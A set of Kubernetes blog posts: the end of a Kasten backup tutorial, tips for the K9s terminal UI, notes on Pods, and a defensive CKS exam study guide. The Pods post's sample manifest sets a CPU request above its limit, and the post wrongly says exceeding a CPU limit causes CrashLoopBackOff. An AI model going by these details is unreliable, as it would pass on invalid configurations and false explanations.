
http://127.0.0.1:8080/k10/#/


![Screen Shot 2022-04-17 at 10.15.29 AM.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/_BqFNrI-f.png)

After filling in the email and company name, you should now see the dashboard:


![Screen Shot 2022-04-17 at 10.18.22 AM.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/s71aBB-St.png)

If we go to unmanaged applications 


![Screen Shot 2022-04-17 at 10.19.00 AM.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/JeiT1T0Po.png)

The nginx namespace that was created earlier will be visible


![Screen Shot 2022-04-17 at 10.19.33 AM.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/9DjM3tR0h.png)


Let's create a simple backup policy by pressing the "Create a Policy" button:


![Screen Shot 2022-04-17 at 10.20.32 AM.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/-TNRg12vE.png)


We will leave the defaults and press create policy.

The Policy should be created, and we can press run one and try it out:


![Screen Shot 2022-04-17 at 10.21.51 AM.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/_McbBFj9X.png)


![Screen Shot 2022-04-17 at 10.23.06 AM.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/NBS7Fh74B.png)


Back on the dashboard, we can see the policy running:


![Screen Shot 2022-04-17 at 10.23.37 AM.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/i6jFog4BY.png)

The backup was successful:


![Screen Shot 2022-04-17 at 10.24.24 AM.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/lg_6J3Qq6.png)


That was a basic Kubernetes backup setup with Kasten. You can do a lot more with Kasten, so please go through the [documentation](https://docs.kasten.io/latest/) and try out some of its other features.


Geoff Burke

---

# 10 Things You Might Not Know About K9s

- Canonical: https://blog.kubesimplify.com/10-things-you-might-not-know-about-k9s
- Published: 2022-04-22
- Summary: What is the most comfortable ways to access and interact with the Kubernetes API.

## K9s?

But before we start to jump straight into K9s, let us step back and talk shortly about: What is K9s? And why should you consider using it?

For me, it starts with a simple question: What is the most comfortable ways to access and interact with the Kubernetes API.

Like everybody else, I have been using the [kubectl] (https://kubernetes.io/docs/reference/kubectl/overview/) command line tool to interact with the Kubernetes API. But I quickly realized that it is not the most comfortable way to do so, as you need to know the exact syntax of the commands and how to use them.

And, OMG!, there are a lot of commands to remember: Currently I think around 43 command (`create, get, run, expose, delete, apply. annotate, autoscale, debug ,diff ,edit, kustomize, label, patch, replace, rollout, scale, set, wait, attach, auth, cp, describe, exec, logs, port-forward, proxy, top, api-versions, certificate, cluster-info, cordon, drain, taint, uncordon, alpha, api-resources, completion, config, explain, options, plugin, version`)

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/Zi_kTckCq.png)

Now add the way on how to configure and present the output in the mix, and you can guess what I mean. Perfectly fine for scripts or pipelines, but not for me and the occasions I need to interact with the Kubernetes API.

I have a specific problem I want to solve quickly. For example, see the events of a certain pod I don't know the exact name of and then maybe quickly edit an attribute or amend the manifest for testing purposes.

That's the moment I had to look around for are more comfortable solutions. But... but... but, I don't want to leave the terminal. So I am looking for a solution which provides a terminal like experience with an easy-to-use UI.

The combination of both is called K9s. K9s offers a slick TUI (terminal user interface) to interact with.

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/2AbkzQo8b.png)

## 10 Things You Might Not Know About K9s

So after this relative long introduction, let's jump straight into some hidden gems of K9s. I assume that you already installed K9s, but if not, please do so. I wait, promised!

Your back? Good! Let's start:

### Configure K9s Via The Config File

K9s offers a configuration file which can be used to configure the UI. You can find the configuration under `$XDG_CONFIG_HOME/k9s`

If you have trouble to find the file, just type:

```bash
k9s info
 ____  __.________
|    |/ _/   __   \______
|      < \____    /  ___/
|    |  \   /    /\___ \
|____|__ \ /____//____  >
        \/            \/

Configuration:   /Users/dirien/Library/Application Support/k9s/config.yml
```

### Enable Mouse Support

Yes, you read it correctly, K9s supports the use of your mouse! To enable the mouse support, change the following line in
the configuration file:

```yaml
k9s:
  enableMouse: true
```

### Disable The K9s Header And Logo

If you want to get rid of the K9s header to gain more screen real estate, modify the following line in the configuration
file:

```yaml
k9s:
  headless: true
```

For disabling the logo, you need to set the following line in the configuration file to true:

```yaml
k9s:
  logoless: true
```

### Custom Alias Support

You can create your own aliases for the commands. Create a file `$XDG_CONFIG_HOME/k9s/aliases.yml` add your own aliases:

```yaml
alias:
  # Use engin as an alias for Pod
  engin: v1/pods
```

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/FFRysl3in.png)

### Write Your Own Plugins

With K9s, you can extend your command line and tooling by writing your own plugins. All plugins are defined in `$XDG_CONFIG_HOME/k9s/plugin.yml` file. Writing your own plugins is very easy.

A plugin consist from following parts:

- `Shortcut`: This represents the key combination to activate your plugin
- `Description`: Will be printed next to the shortcut in the K9s menu
- `Scopes`: Defines a collection of resources name/short-name for the views associated with your plugin.
- `Command`: Represents the commands your plugin runs upon activation
- `Background`: Specifies if the command should run in the background, or not!
- `Args`: Specifies the various arguments that should apply to the command defined in the `Command` field.

On top, you have access to some predefined environment variables, you can use in your own plugin:

- `$NAMESPACE` – the selected resource namespace
- `$NAME` – the selected resource name
- `$CONTAINER` – the current container if applicable
- `$FILTER` – the current filter if any
- `$KUBECONFIG` – the KubeConfig location.
- `$CLUSTER` the active cluster name
- `$CONTEXT` the active context name
- `$USER` the active user
- `$GROUPS` the active groups
- `$POD` while in a container view
- `$COL-<RESOURCE_COLUMN_NAME>` use a given column name for a viewed resource. Must be prefixed by `COL-`!

With all the information, we can write start to write our own plugins. Here is an example to include `lineage`, `trivy`and `cosign` as plugins to scan for vulnerabilities in your images, config and check for the signature of your images.

```yaml
plugin:
  lineage:
    shortCut: Ctrl-L
    confirm: false
    description: "lineage"
    scopes:
      - deploy
    command: sh
    background: false
    args:
      - -c
      - "kubectl lineage deploy $NAME -n $NAMESPACE --context $CONTEXT | less"
  trivy:
    shortCut: Ctrl-T
    confirm: false
    description: "trivy image"
    scopes:
      - container
    command: sh
    background: false
    args:
      - -c
      - "trivy -q image --ignore-unfixed $COL-IMAGE | less"
  sbom:
    shortCut: Ctrl-S
    confirm: false
    description: "trivy sbom"
    scopes:
      - container
    command: sh
    background: false
    args:
      - -c
      - "trivy -q sbom $COL-IMAGE | jq | less"
  config:
    shortCut: Ctrl-K
    confirm: false
    description: "trivy config"
    scopes:
      - deploy
    command: sh
    background: false
    args:
      - -c
      - "kubectl get deploy  $NAME -n $NAMESPACE  -o yaml --context $CONTEXT > $NAME.yaml | (trivy -q config $NAME.yaml && rm $NAME.yaml) | less"
  cosign:
    shortCut: Ctrl-V
    confirm: false
    description: "cosign"
    scopes:
      - container
    command: sh
```

The new menu options:
![image.png](/img/blog/10-things-you-might-not-know-about-k9s/GzVUnQP8v.png)

Trivy config scan in action:

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/lfVlPZvcb.png)

Trivy image and sbom scan:

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/oBH7ZisRf.png)

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/5Au7XCTxs.png)

Cosign verification:

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/Hejryc6dK.png)

### NodeShell support

When you enable the `nodeShell` feature gate on a given cluster, K9s allows you to shell into your cluster nodes. The moment you enable the feature, you get a new `s` menu option in the node view. What K9s is doing, is that it will launch a pod on this node.

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/nC1Xhu8_L.png)

You can even define the which container image you want to start. Especially useful when you have your own container with the shell tools you prefer. 

By default, K9s will use the BusyBox image. Additionally, you can specify commands, args and memory cpu limits for the pod.

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/OdcDBduhA.png)

```yaml
clusters:
  docker-desktop:
    namespace:
      active: all
      favorites:
        - kube-system
        - all
        - default
    view:
      active: node
    featureGates:
      nodeShell: true
    shellPod:
      image: busybox:1.31
      command: [ ]
      args: [ ]
      namespace: default
      limits:
        cpu: 100m
        memory: 100Mi
    portForwardAddress: localhost
```

### Pulse mode

K9s has a special mode called `pulse` that allows you to monitor your cluster in real time.

With following commands, you can start the pulse mode:

```bash
:pulse
```

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/G7NROQLX1.png)

### XRay support

The XRay feature is very useful to give you inside to your cluster resources and their dependencies.

Just type following command to start the XRay mode:

```bash
:xray <ressource>
```

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/DGZLIXV2p.png)

Allowed resources are: Deployment, Pod and StatefulSet.

### The Popeye Mode: An Inbuilt k8s Cluster Sanitizer

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/miusVriuY.png)

K9s has a special mode called `popeye` that allows you to scan your Kubernetes cluster and reports potential issues with deployed resources and configurations. You get feedback for any misconfigurations and helps you to ensure that best practices are in place. On top, it reports potential resources over/under allocations and attempts to warn you should your cluster run out of capacity.

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/JO8OqXyJJ.png)

### Benchmarking

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/A3sY-cTAZ.png)

K9s has the ability to benchmark your cluster via an embedded version of `hey`. All you need to do, is to enable the port-forwarding for your service or container, navigate to the `Portforwards` view and start the benchmarking via the `Ctrl-l' command.

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/h3gaFb95f.png)

To see the results of the benchmarking, navigate to the `Benchmarking` view and press `enter` to view the results.

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/w6pYjFPB1.png)

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/2jt33NXmo.png)

You can configure the benchmarking via the `$XDG_CONFIG_HOME/k9s/bench-<my_context>.yml` for your specific context.

## More resources 

The K9s GitHub page -> https://github.com/derailed/k9s
The official documentation page -> https://github.com/derailed/k9s

![image.png](/img/blog/10-things-you-might-not-know-about-k9s/Av-hlqg7m.png)

---

# Pods in Kubernetes

- Canonical: https://blog.kubesimplify.com/pods-in-kubernetes
- Published: 2022-04-21
- Summary: \"It is the smallest deployable and schedulable unit that Kubernetes can manage.

# What is Pod?
It is the smallest deployable and schedulable unit that Kubernetes can manage.
It is a best practice that we keep one container inside a given pod, but we can place more than one container inside a pod. Each Pod has its own local IP address inside the cluster

![](https://d33wubrfki0l68.cloudfront.net/5cb72d407cbe2755e581b6de757e0d81760d5b86/a9df9/docs/tutorials/kubernetes-basics/public/images/module_03_nodes.svg)

# Layout of Kubernetes Pods
**Pod** is a collection of **container(s)**

**Deployment** is a collection of **Pod(s)**

# Pod lifecycle

When we 
```bash
kubectl apply -f <fileName> 
```
then
**kubectl**  converts the **YAML** manifest to **JSON** file and sends it to **api server**


**api server** authenticate using kubeconfig auth and checks whether the user is authorized or not to a particular functionality (i.e. creation, deletion) (i.e. RBAC) 

when it is authorized, all that the data gets persisted to the **etcd** 😇 here state becomes ***Pending***

Now the **Scheduler** comes and it finds the best match of the node where it will be running (i.e. iterate through all the nodes in the cluster to get the best possible Node based on the resources or images pulled).

After getting it sends the labels filled with spec <node name> to the **api** server now that particular request is also stored on the **etcd** 😇 here state becomes ***Container Creating***

**api server** instructs the **kubelet** of that particular node about the pod spec which has to be created.

**kubelet** is responsible to fetch the image from **image registry**. The **cri** gets the ip attached to the pod which is in turn send to the **api server** and again data is stored  in **etcd** 😇 here state becomes ***Running***

Whenever the container dies too many times then 😇 here state becomes ***Crash loop back off***
and whenever the container succeded then 😇 here state becomes ***succeeded***

Link to the Source Code comments

[Github Link](https://github.com/kubernetes/api/blob/d10499434b5204901e2681f883e988f35b63e2ba/core/v1/types.go#L2623)

---


# Hooks

actions that you want to do before the container starts

**Pre-stops hooks**
When the container has begun terminating then this command is executed

**Post-start hook**
When the container starts then only this is executed

**Init container**
it runs before running the workload container(s)

---

# Init containers

They are container(s) that run to completion and run before the main container starts

**use case**
* To change the file structure of the mounted volume
* Added configuration to the mounted volume
* It can be used to delay the start-up of the main container so that certain checks are done beforehand
However, if the Pod has a ***restartPolicy*** of Never, and an init container fails during the startup of that Pod, Kubernetes treats the overall Pod as failed.

When all the init containers are ✅👍🏼 then only the workload container will start
there is 🚫 Liveliness, Readiness probe

---

# Multiple container pod
**use cases**

* For logging purposes of the main application container
* It can be used to act as a reverse proxy to get the static files

---

# Health Checks

**Liveliness probe**
It checks whether the pod is alive or dead
/health

**Readiness probe**
It checks whether the pod can get or post requests.
/ready

**Startup probe**
It checks whether the application within the container is started. All other probes are disabled if a startup probe is provided until it succeeds.

if it fails then 😇 here state becomes ***Crash loop back off***

**http**
```yml
- name: probes
  livenessProbe:
    httpGet:
      path: /
      port: 80
```

**tcp**
```yml
- name: probes
  livenessProbe:
    tcpSocket:
      port: 80
```

**exec**
```yml
- name: probes
  livenessProbe:
    exec:
      command:
      - cat
      - /usr/share/nginx/html/index.html
```

* ***initialDelaySeconds*** - before any probes start time to delay its start check
* ***periodSeconds*** - the time between one probe check to another
* ***timeoutSeconds*** - **kubelet** will wait for this much time for response
* ***successThreshold*** - how many times we want the probe to be successful to mark it as ***SUCCESSFUL***
* ***failureThreahold*** - how many failures will make kublet restart the container

## Limits
**Memory**
If the current usage of memory is more than the allowed then OOME (Out Of Memory Exception) and then 😇 here state becomes ***Crash loop back off***

**CPU**
If the current usage of CPU is more than the allowed then 😇 here state becomes ***Crash loop back off***

[Resource management Link](https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/)

---

# Pod Topology Spread Constraints
[Link of Official docs](https://kubernetes.io/docs/concepts/workloads/pods/pod-topology-spread-constraints/)

---

# Volumes

## Empty Dir
* ❌ Saving critical data
* gets created as soon as the pod is assigned to the node
* stay throughout the life-span of the pod
* when pod deleted it also deleted

```yaml
volumes:
- name: test-vol
  emptyDir: {}
```

## Hostpath
* ❌ Saving critical data
* it mounts a file or a directory from the node's file system into the pod

```yaml
volumes:
- name: test-hostpath
  hostPath:
    path: /dd
    type: DirectoryOrCreate
```

---

# Let's add all that we learned
```yml
# Basic resource limits and requests
apiVersion: v1
kind: Pod
metadata:
  name: cpu-mem-demo2
spec:
  containers:
    - name: cpu-mem-demo2
      image: ubuntu:latest
      resources:
        limits:
          cpu: "1"
          memory: "200Mi"
        requests:
          cpu: "2"
          memory: "100Mi"
      command: ["stress"]
      args: ["--cpu", "2"]

---
# example of the basic multi-container pod, with init container having probe checks
# and volume mounts (i.e. HostPath) to preserve the data after the containers are gone
# Hooks are also there
apiVersion: v1
kind: Pod
metadata:
  name: my-website
  labels:
    web: dipankar-web
spec:
  containers:
    - name: nginx-server
      image: nginx:alpine
      ports:
        - containerPort: 80

      readinessProbe:
        httpGet:
          path: /
          port: 80
      livenessProbe:
        exec:
          command:
            - cat
            - '/usr/share/nginx/html/index.html'
      volumeMounts:
        - mountPath: "/usr/share/nginx/html/"
          name: storage-web
    - name: check-network
      image: busybox
      volumeMounts:
        - name: resource-usage
          mountPath: "/usage"
      command:
        - "/bin/sh"
        - -c
      args:
        - while true; do 
          date >> /usage/data.log ;
          egrep 'Mem|Cache|Swap' /proc/meminfo >> /usage/data.log ;
          sleep 5;
          done
      lifecycle:
        postStart:
          exec:
            command: ["/bin/sh", "-c", "echo Starting!!🚀 >> /usage/log"]
        preStop:
          exec:
            command: ["/bin/sh", "-c", "echo 'Terminating!!🚧' >> /usage/log"]

  initContainers:
    - name: fetch-website
      image: alpine
      volumeMounts:
        - mountPath: "/home"
          name: storage-web
      command:
        - "wget"
        - "-O"
        - "/home/index.html"
        - "https://dipankardas011.github.io/dipankardas011/"

  volumes:
    - name: storage-web
      hostPath:
        path: /website
        type: DirectoryOrCreate
    - name: resource-usage
      hostPath:
        path: /usage
        type: DirectoryOrCreate
...
```

![volume store](/img/blog/pods-in-kubernetes/P11ujbHJJ.png)

To check the data collected
```bash
minikube ssh
cd /
# here you will the folders usage/ and website/
```

# Reference
* [Kuberenetes docs](https://kubernetes.io/docs/home/)
* [Civo Academy](https://www.civo.com/academy)

---

# Certified Kubernetes Security Specialist (CKS) 2022 exam guide

- Canonical: https://blog.kubesimplify.com/certified-kubernetes-security-specialist-cks-2022-exam-guide
- Published: 2022-04-20
- Summary: Distributed systems comes with a lot of benefits but there are some downsides as well. One of the main downside of distributed system is security. No. of at

## Agenda :
- An overview of cloud- native security
- CKS exam details and focus area
- Tips and tricks that can help you  prior to add during the exam
- Learning resources

## Overview of cloud-native security :
Our applications have evolved over years and how we deploy them. Earlier we used to deploy them in a monolithic fashion and now we have a distributed systems. Distributed systems comes with a lot of benefits but there are some downsides as well. One of the main downside of distributed system is security. No. of attack surfaces have increased in the distributed system.

Now security is very important, just you might have read some of the examples of attacks in the past of stolen customer data, critical data of organizations. So all these things play an important role from a security point of view. 

But now when you move to cloud native architecture, microservices architecture, cloud layers, K8s layers you will be having a much bigger attack surface. That's why no. of attacks in the past 2-3 years have increased due to cloud-native adoption. Kubernetes have grown, the cloud has grown, so security at all levels becomes important for you.

Kubernetes security is important throughout the container lifecycle. Due to the distributed, dynamic nature of a Kubernetes cluster. Different security approaches are required for each of the three phases of an application lifecycle: build, deploy, and runtime. Kubernetes provides innate security advantages. Kubernetes Security is based on the 4C’s of cloud native security.

 ### 4C'sof cloud-native security
  - **Cloud**- The underlying physical infrastructure is the basis of Kubernetes security. Most of the Cloud/Datacenter have security best practices.

 When you work with their cloud provider like exposing the internet load, limiting the control plane access, etcd encryption, so every piece of the puzzle should be secured there are tools to do that.
  - **Cluster**- In Kubernetes we have 3A(Authentication, Authorization, Admission) which is called cluster layer. In CIS scan they are important so 3A's play very critical role in Kubernetes security, when we talk about that which user can do what in Kubernetes cluster.

 CIS benchmarking guide NSA guide  which tells you the best practices to setup Kubernetes cluster in a right way. So their are CIS scan you can do on your cluster to know the cluster score with respect to CIS benchmark. 
  - **Container**- In Container you are creating images, so you are using docker file best practices or any container to build images. Avoiding granting unnecessary privileges to users in the container, and ensuring that containers are scanned for vulnerabilities at build time.
  - **Code**- Code presents a major attack surface for any Kubernetes environment. Simple policies such as encrypting TCP using TLS handshakes, not exposing unused ports, scanning, and testing regularly can help prevent security issues from arising in a production environment.
    
![IMG_20220413_115536.jpg](/img/blog/certified-kubernetes-security-specialist-cks-2022-exam-guide/Rt17p4Phk.jpg)

## CKS exam :
   The certified Kubernetes Security Specialist (CKS) program provides assurance that a CKS has the 
   skill, knowledge, and competence on a broad range of best practices for securing container-based 
   applications and Kubernetes platforms during build, deployment and runtime.
 - The exam is of 2 hours
 - CKA is a prerequisite
 - Kubernetes 1.23
 - 2 Year validity
 - Get 2 attempts
 - Documentation access- [Kubernetes](https://kubernetes.io/docs/home/), [aqua security](https://github.com/aquasecurity/trivy), [sysdig](https://docs.sysdig.com/), [falco](https://falco.org/docs/), [apparmor](https://gitlab.com/apparmor/apparmor/-/wikis/Documentation)
 - You will get access to killer.sh/cks portal for CKS practice exam.
 - Certification cost $375

## CKS exam focus areas :

CKS exam aims to test your skills on different security aspects. The following table shows the different domains and their weightage for the CKS certification.

![CKS.jpg](/img/blog/certified-kubernetes-security-specialist-cks-2022-exam-guide/_eeUb1Ft_.jpg)

 Let's have a look and discuss syllabus-wise resources for the CKS exam :-

### 1. Cluster Setup [10%]
The first section focuses on controlling access to the Kubernetes cluster and security aspects of the cluster components. This section carries 10% weightage in the CKS.

** (a)- Network Policies  **

By default network access between Kubernetes pods is open internally. Use Network security policies to restrict cluster level access. There is a security risk associated with this setup is a container being able to access and connect to other workloads within the cluster network.

Kubernetes network policies help you to enable rules for pod network communication.
- [Use Network security policies to restrict cluster level access](https://kubernetes.io/docs/concepts/services-networking/network-policies/)

- [Declaring Kubernetes Network Policy](https://kubernetes.io/docs/tasks/administer-cluster/declare-network-policy/)

- [Network Policy Editor](https://editor.cilium.io/)

** (b)- CIS benchmark **

 Center for Internet Security(CIS) Benchmarks goal is to make every resource running on the Net to be as secured as possible. [CIS](https://www.cisecurity.org/cis-benchmarks/cis-benchmarks-faq) with the Kubernetes community has created the benchmarks for Kubernetes security standards. Organizations can use the Kubernetes CIS benchmarks to achieve security and compliance requirements. 


[kube-bench](https://github.com/aquasecurity/kube-bench#running-kube-bench) is an open-source tool that runs validation of the Kubernetes components using the CIS benchmarks.

** (c)- Ingress TLS **

Kubernetes Ingress is another concept that will be in the exam. From a security standpoint, for Ingress, the primary focus is on configuring ingress with TLS configurations. Also, it would help if you looked at setting up the namespace scoped and cluster-wide ingress.

[IngressClass](https://kubernetes.io/docs/concepts/services-networking/ingress/) was introduced in version 1.18 and helped to specify how different controllers should implement ingress objects. There are [three types of Ingress controller setups](https://docs.nginx.com/nginx-ingress-controller/installation/running-multiple-ingress-controllers/#running-multiple-nginx-ingress-controllers) to be aware of.
- Cluster-wide Ingress Controller (default)
- Single-namespace Ingress Controller
- Ingress Controller for specific Ingress class

** (d)- Protect node metadata and endpoint **

Every virtual machine (nodes) hosted in the cloud would need to access node metadata endpoints for various reasons. Protecting node metadata and endpoints is always a top concern. 

Pod's access to the Metadata server can be controlled via network policies, so only designated resources within K8s could have the ability of contacting node metadata endpoints.
- [Protect node metadata and endpoints](https://kubernetes.io/docs/tasks/administer-cluster/securing-a-cluster/#restricting-cloud-metadata-api-access)
- [Configuring Network Policies](https://cloud.google.com/kubernetes-engine/docs/tutorials/network-policy) 

** (e)- Securing Kubernetes GUI **

This topic is fueled by previous security hacks that exposed the Kubernetes Dashboard to the public. To combat this issue, admins should set up an internal-only facing dashboard with specific user access outlined in their configuration files. You need to learn all the best practices and configurations involved in setting up a secure Kubernetes dashboard. For example, limiting access to the dashboard with specific internal networks, user access with limited privileges to the dashboards, etc.
- [Kubernetes Web UI Configurations](https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/)

** (f)- Verify Kubernetes binaries using checksum **

Kubernetes binaries can be verified by referencing their specific checksum. The GitHub release page has the version numbers and SHA ids to verify the binary. So, we are comparing the downloaded file [sha512sum](https://www.getmonero.org/pl/resources/user-guides/verification-allos-advanced.html) with the string provided in the GitHub page.
- [Kubernetes Binaries](https://github.com/kubernetes/kubernetes/releases)

### 2. Cluster Hardening[15%]
It contains 15% weightage in the CKS exam. This section focuses on controlling access to the Kubernetes Cluster environment.

** (a) -Use Role-Based Access Controls(RBAC) to minimize exposure **

 Allowing unnecessary cluster-wide access to everyone is a common mistake done during Kubernetes implementations. With Kubernetes [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/), you can define fine-grained control on who can access the Kubernetes API to enforce the principle of least privilege. The concepts will include:
- Role = the position that could perform actions
- ClusterRoles = the position that could perform actions across the whole cluster
- RoleBinding = the position that could perform actions
- ClusterRoleBindings = the binding of user/service account and cluster roles

** (b)- Restrict access to Kubernetes API **

When it comes to Kubernetes Production Implementation restricting API access is very important. Restricting access to the API server is about three things:
-  Authentication
-  Authorization
- Admission Control
The primary topics under this section would be bootstrap tokens, RBAC, ABAC, service account, and admission webhooks.
- [Cluster API access methods](https://kubernetes.io/docs/tasks/administer-cluster/access-cluster-api/)
- [Kubernetes API Access Security](https://kubernetes.io/docs/concepts/security/controlling-access/)
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
- [Authorization](https://kubernetes.io/docs/reference/access-authn-authz/authorization/)
- [Admission Controllers](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/)
- [Admission Webhooks](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)

** (c)- Service Account **

The topic is to ensure administrators are not giving service accounts within Pods to have permissions besides required. The default service account does not have any privileges. But if you bind a role to it, it will get all the access listed in the role, and it applies to all the pods in the namespace.
- [Service Account Management Guide](https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/)
- [Configure service account for a Pod](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)

** (d)- Update Kubernetes Frequently **

There may be an upgrade question as the documentation about upgrading with kubeadm has been significantly better in recent releases. 
Also, you should have mechanisms to validate the cluster components, security configurations, and application status post-upgrade.
- [Upgrading Kubernetes cluster using Kubeadm](https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/kubeadm-upgrade/)
- [Upgrade a cluster](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)

### 3. System Hardening [15%]
This section focuses on minimizing the attack surface in the cluster as well as kernel access.

The common system hardening activities are :-
- Minimize host OS footprint (reduce attack surface)
- Minimize Identity and Access Management (IAM) roles
- Minimize external access to the network
- Appropriately use kernel hardening tools such as 
   [AppArmor](https://kubernetes.io/docs/tutorials/security/apparmor/) or [seccomp](https://kubernetes.io/docs/tutorials/security/seccomp/)

### 4. Minimize Microservice Vulnerabilities[20%]
As the title suggests, this section focuses on minimizing microservice vulnerabilities and securing pods at runtime.
** (a)- Setup appropriate OS-level security domains using options such as Pod Security Policies (PSP), Open Policy Agent (OPA), and security contexts **

Open Policy Agent is a great utility for implementing fine-grained controls for microservices.
- [PSP](https://kubernetes.io/docs/concepts/security/pod-security-policy/)
- [OPA](https://kubernetes.io/blog/2019/08/06/opa-gatekeeper-policy-and-governance-for-kubernetes/)
- [Security Context Task](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)

** (b)- Manage Kubernetes secrets **

It focuses on knowing how to implement secrets securely and ensure that other containers cannot access the secrets. Kubernetes secret is one of the ways to save sensitive information inside the pod. But, it is not encrypted. However, you can encrypt the data at rest.
- [Kubernetes Secret](https://kubernetes.io/docs/concepts/configuration/secret/)
- [Task](https://kubernetes.io/docs/tasks/inject-data-application/distribute-credentials-secure/)

** (c)- Use container runtime sandboxes in multi-tenant environments (e.g. gvisor, kata containers) **

Before the open container initiative (OCI) proposed to have Container Runtime Interface(CRI), the communication between containers and Kubernetes (K8s) was relying on dockershim/rkt provided and maintained by Docker. However, when containers and K8s are getting more and more sophisticated, the maintenance cost of dockershim/rkt becomes higher and higher. Therefore, having an interface that opens to the open source community and for solely dealing with container runtime becomes the answer to this challenging situation.

[Kata Containers](https://katacontainers.io/) and [gVisor](https://github.com/google/gvisor) helps in workload isolation. It can be implemented using the Kubernetes RuntimeClass where you can specify the required runtime for the workload.

** (d)- mTLS **

[mTLS](https://stackoverflow.com/questions/19601420/mtls-mutual-tls-details) stands for mutual authentication, meaning client authenticates server and server does the same to client, its core concept is to secure pod-to-pod communications. In exams it may ask you to create the certificates. However, it is worth bookmarking [certificate signing requests](https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#create-private-key) and understanding how to implement kubeconfig access and mTLS authentication credentials.

### 5. Supply Chain Security [20%]
This section focuses on supply chain security.

** (a)- Minimize base image footprint **

Regardless of how this is implemented in the test, [minimizing your base images](https://cloud.redhat.com/blog/container-image-security-beyond-vulnerability-scanning) is always a good idea to decrease the attack surface for your containers. In exam there may be a question that requires using [Trivy](https://github.com/aquasecurity/trivy) to view CVEs related to a base image and then prioritizing image selection accordingly. As a core concept, image scanning and minimizing your images is a handy way to lower the attack surface within your cluster.

** (b)- Secure your supply chain: whitelist allowed registries, sign and validate images **

Securing the images that are allowed to run in your cluster is essential. It’s important to verify the pulled base images are from valid sources. This can be done by [ImagePolicyWebhook](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#imagepolicywebhook) admission controller.

** (c)- Use static analysis of user workloads (e.g. Kubernetes resources, Docker files) **

This is totally straightforward. You will need to vet the configuration of Kubernetes YAML files and Docker files and fix any security issues.
- [Statically Analyze YAML](https://kubernetes.io/blog/2018/07/18/11-ways-not-to-get-hacked/#7-statically-analyse-yaml)

** (d)- Scan images for known vulnerabilities **
To ensure container images are always without security concern. Trivy was developed for this sole purpose and it is extremely easy to use. In exam you are allowed to use the GitHub documentation, so it’s worth bookmarking the [quick start documentation].(https://github.com/aquasecurity/trivy#quick-start) 

### 6. Monitoring, Logging and Runtime Security [20%]
This section focuses on monitoring, logging, and runtime security within the cluster.
Following are the core concept in it :-

** (a)- Perform behavioral analytics on syscall process and file activities at the host and container level to detect malicious activities **
- [Restrict a Container’s Syscalls with Seccomp](https://kubernetes.io/docs/tutorials/security/seccomp/)

** (b)- Detect threats within a physical infrastructure, apps, networks, data, users, and workloads **
- [Using Falco for threat detection](https://falco.org/docs/)

** (c)- Detect all phases of attack regardless of where it occurs and how it spreads **

** (d)- Perform deep analytical investigation and identification of bad actors within the environment **
- [Implementing Kubernetes Auditing](https://kubernetes.io/docs/tasks/debug-application-cluster/audit/)

** (e)- Ensure immutability of containers at runtime **

** (f)- Use Audit Logs to monitor access **
- [Kubernetes Auditing](https://kubernetes.io/docs/tasks/debug-application-cluster/audit/)

## Tips and Tricks :
- **Bookmarks handy** - You are allowed to open Kubernetes documentation, so you can bookmark some Kubernetes [blogs](https://kubernetes.io/blog/) and [docs](https://kubernetes.io/docs/home/). Also allowed to browse other domains like https://falco.org/docs/ but that’s an exception, but you are allowed only one tab so make sure don't open another tab. When you close the tab then only you can open another bookmark, which is very handy
- **--dry-runflag** - Gives you the skeleton of YAML, so you don't have to actually search inside the Kubernetes documentation which becomes very handy for you. If you are coming from CKA then you know it.
- **Time management** - It is very important to manage the time, check whether the question has less or more steps, and don't get stuck on a single question for a long time. 
- **Higher weightage first** - There is a difficult question having lower weightage and easy question having higher weightage. So always see the weightage and the time it takes and go for easy question first. Basically the more weightage questions first rather then the difficult one consuming your time and not giving the score that you get by doing easy questions.
- **Take a backup of your files before making changes to kube-server or falco files**  - Sometimes what happen is that you are asked in the scenario to change some of the parameter and stuff like that, if you directly did vim and change the file and something go wrong and your Kubernetes server get blocked, then it become very difficult to troubleshoot over their, so always take backup/copy of the files provided before modifying them directly!
- **Use aliases** - It’s worth adding an alias like k=kubectl, v=vim, it will save your precious time and typing (since you’re there add kg='kubectl get' and kd='kubectl describe' ) and many more.
- **Be comfortable with --force while deleting** - Be comfortable with the force commands because sometimes you might see something in a terminating state and you have to delete that , so  make sure you use --force flag.
- **K8s documentation navigation** - You should be very handy in searching through the  K8s documentation that is also very important.

## Resources :
